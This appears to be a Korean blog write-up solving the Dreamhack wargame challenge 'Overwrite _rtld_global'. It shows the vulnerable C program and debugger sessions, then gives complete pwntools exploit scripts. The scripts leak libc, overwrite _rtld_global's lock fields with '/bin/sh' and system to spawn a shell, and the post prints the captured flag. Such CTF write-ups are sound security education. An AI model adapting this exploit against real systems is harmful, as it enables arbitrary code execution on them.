[Dreamhack] Overwrite _rtld_global

Sisyphus·2022년 7월 29일
0

문제 코드

// Name: ow_rtld.c
// Compile: gcc -o ow_rtld ow_rtld.c

#include <stdio.h>
#include <stdlib.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  long addr;
  long data;
  int idx;

  init();

  printf("stdout: %p\n", stdout);
  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("addr: ");
        scanf("%ld", &addr);
        printf("data: ");
        scanf("%ld", &data);
        *(long long *)addr = data;
        break;
      default:
        return 0;
    }
  }
  return 0;
}


보호 기법

❯ checksec ow_rtld 
[*] '/root/wargame/ow_rtld'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

모든 보호기법이 다 걸려있습니다.



코드 분석

  • 출력되는 stdout 값을 통해 libc_base 값을 구할 수 있습니다.
  • 임의 주소 쓰기 취약점이 존재합니다.


익스플로잇 코드

1. libc, loader 찾기

ls
Dockerfile  flag  libc-2.27.so_18.04.3  ow_rtld  ow_rtld.c
❯ file ow_rtld
ow_rtld: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3ab755ea125eb9c555b20f53c4b2f69c3b630589, not stripped
libc = ELF('./libc-2.27.so_18.04.3', checksec=False)
ld = ELF('/lib64/ld-linux-x86-64.so.2')

2. libc_base, ld_base Leak

gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00005561b9a00000 0x00005561b9a01000 0x0000000000000000 r-x /root/wargame/ow_rtld
0x00005561b9c00000 0x00005561b9c01000 0x0000000000000000 r-- /root/wargame/ow_rtld
0x00005561b9c01000 0x00005561b9c02000 0x0000000000001000 rw- /root/wargame/ow_rtld
0x00007fe1a46e8000 0x00007fe1a48cf000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
0x00007fe1a48cf000 0x00007fe1a4acf000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007fe1a4acf000 0x00007fe1a4ad3000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007fe1a4ad3000 0x00007fe1a4ad5000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007fe1a4ad5000 0x00007fe1a4ad9000 0x0000000000000000 rw- 
0x00007fe1a4ad9000 0x00007fe1a4b02000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so
0x00007fe1a4cf8000 0x00007fe1a4cfa000 0x0000000000000000 rw- 
0x00007fe1a4d02000 0x00007fe1a4d03000 0x0000000000029000 r-- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007fe1a4d03000 0x00007fe1a4d04000 0x000000000002a000 rw- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007fe1a4d04000 0x00007fe1a4d05000 0x0000000000000000 rw- 
0x00007ffef09a4000 0x00007ffef09c5000 0x0000000000000000 rw- [stack]
0x00007ffef09dc000 0x00007ffef09e0000 0x0000000000000000 r-- [vvar]
0x00007ffef09e0000 0x00007ffef09e2000 0x0000000000000000 r-x [vdso]
gef➤  $ 0x00007fe1a4ad9000-0x00007fe1a46e8000
4132864
0x3f1000
0b1111110001000000000000
b'?\x10\x00'
b'\x00\x10?'
p.recvuntil(": ")

stdout = int(p.recvuntil("\n"), 16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000

3. dl_load_lock, dl_rtld_lock_recursive 변수 주소 찾기

gef➤  p &_rtld_global._dl_load_lock
$1 = (__rtld_lock_recursive_t *) 0x7fe1a4d03968 <_rtld_global+2312>
gef➤   p &_rtld_global._dl_rtld_lock_recursive
$2 = (void (**)(void *)) 0x7fe1a4d03f60 <_rtld_global+3840>
rtld_global = ld_base + ld.symbols['_rtld_global']
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840

_rtld_global 구조체 조작

p.sendlineafter("> ", "1")
p.sendlineafter("addr: ", str(dl_load_lock))
p.sendlineafter("data: ", str(u64("/bin/sh\x00")))

p.sendlineafter("> ", "1")
p.sendlineafter("addr: ", str(dl_rtld_lock_recursive))
p.sendlineafter("data: ", str(system))

Exploit Code

# local.py

from pwn import *

p = process("./ow_rtld")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
ld = ELF('/lib64/ld-linux-x86-64.so.2')

p.recvuntil(": ")

stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000


rtld_global = ld_base + ld.symbols['_rtld_global']
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840

system = libc_base + libc.symbols['system']

p.sendlineafter("> ", "1")
p.sendlineafter("addr: ", str(dl_load_lock))
p.sendlineafter("data: ", str(u64("/bin/sh\x00")))

p.sendlineafter("> ", "1")
p.sendlineafter("addr: ", str(dl_rtld_lock_recursive))
p.sendlineafter("data: ", str(system))

p.sendlineafter("> ", "2")
p.interactive()

local 환경에서 익스플로잇을 해보면

❯ python3 local.py  
[+] Starting local process './ow_rtld': pid 5816
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/lib64/ld-linux-x86-64.so.2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
$ 

쉘이 뜹니다.


# remote.py
from pwn import *

p = remote("host3.dreamhack.games", 8537)
libc = ELF('./libc-2.27.so_18.04.3', checksec=False)
ld = ELF('/lib64/ld-linux-x86-64.so.2')

p.recvuntil(": ")

stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000


rtld_global = ld_base + ld.symbols['_rtld_global']
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840

system = libc_base + libc.symbols['system']

p.sendlineafter("> ", "1")
p.sendlineafter("addr: ", str(dl_load_lock))
p.sendlineafter("data: ", str(u64("/bin/sh\x00")))

p.sendlineafter("> ", "1")
p.sendlineafter("addr: ", str(dl_rtld_lock_recursive))
p.sendlineafter("data: ", str(system))

p.sendlineafter("> ", "2")
p.interactive()


익스플로잇

이제 원격 환경에서 익스플로잇을 해보면

❯ python3 remote.py
[+] Opening connection to host3.dreamhack.games on port 8537: Done
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/lib64/ld-linux-x86-64.so.2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
Traceback (most recent call last):
  File "remote.py", line 24, in <module>
    p.sendlineafter("> ", "1")
  File "/usr/local/lib/python3.6/dist-packages/pwnlib/tubes/tube.py", line 822, in sendlineafter
    res = self.recvuntil(delim, timeout=timeout)
  File "/usr/local/lib/python3.6/dist-packages/pwnlib/tubes/tube.py", line 333, in recvuntil
    res = self.recv(timeout=self.timeout)
  File "/usr/local/lib/python3.6/dist-packages/pwnlib/tubes/tube.py", line 105, in recv
    return self._recv(numb, timeout) or b''
  File "/usr/local/lib/python3.6/dist-packages/pwnlib/tubes/tube.py", line 183, in _recv
    if not self.buffer and not self._fillbuffer(timeout):
  File "/usr/local/lib/python3.6/dist-packages/pwnlib/tubes/tube.py", line 154, in _fillbuffer
    data = self.recv_raw(self.buffer.get_fill_size())
  File "/usr/local/lib/python3.6/dist-packages/pwnlib/tubes/sock.py", line 56, in recv_raw
    raise EOFError
EOFError
[*] Closed connection to host3.dreamhack.games port 8537

쉘이 안뜹니다.

구글링을 해보니 ld 파일에서 얻어온 offset이 잘못되서 쉘이 안떴습니다.


gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000559848a00000 0x0000559848a01000 0x0000000000000000 r-x /root/wargame/ow_rtld
0x0000559848c00000 0x0000559848c01000 0x0000000000000000 r-- /root/wargame/ow_rtld
0x0000559848c01000 0x0000559848c02000 0x0000000000001000 rw- /root/wargame/ow_rtld
0x00007fadb602c000 0x00007fadb6213000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
0x00007fadb6213000 0x00007fadb6413000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007fadb6413000 0x00007fadb6417000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007fadb6417000 0x00007fadb6419000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007fadb6419000 0x00007fadb641d000 0x0000000000000000 rw- 
0x00007fadb641d000 0x00007fadb6446000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so

ld-2.27.so

위에 사이트의 ld 파일로 시도를 해보면

ld = ELF('./ld-2.27.so')
❯ python3 remote.py
[+] Opening connection to host3.dreamhack.games on port 8537: Done
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/wargame/ld-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
$ ls
flag
ow_rtld

쉘이 뜹니다.


flag를 출력해보면

$ cat flag
DH{2883ffb28842d85677f75c328da85cd7}

1개의 댓글

comment-user-thumbnail
2023년 3월 9일

궁금한게 있습니다. 이 문제에서는 dockerfile을 주는데 해당 환경을 빌드해서 가져와서 기본으로 설정되어있는 ld파일을 썼었는데 저도 안됐습니다. 해당 문제에 맞는 ld파일은 어떻게 찾으신건가요? 원격에서 어떤 ld파일을 사용하는지 어떻게 아신건가요? 궁금하네요!

답글 달기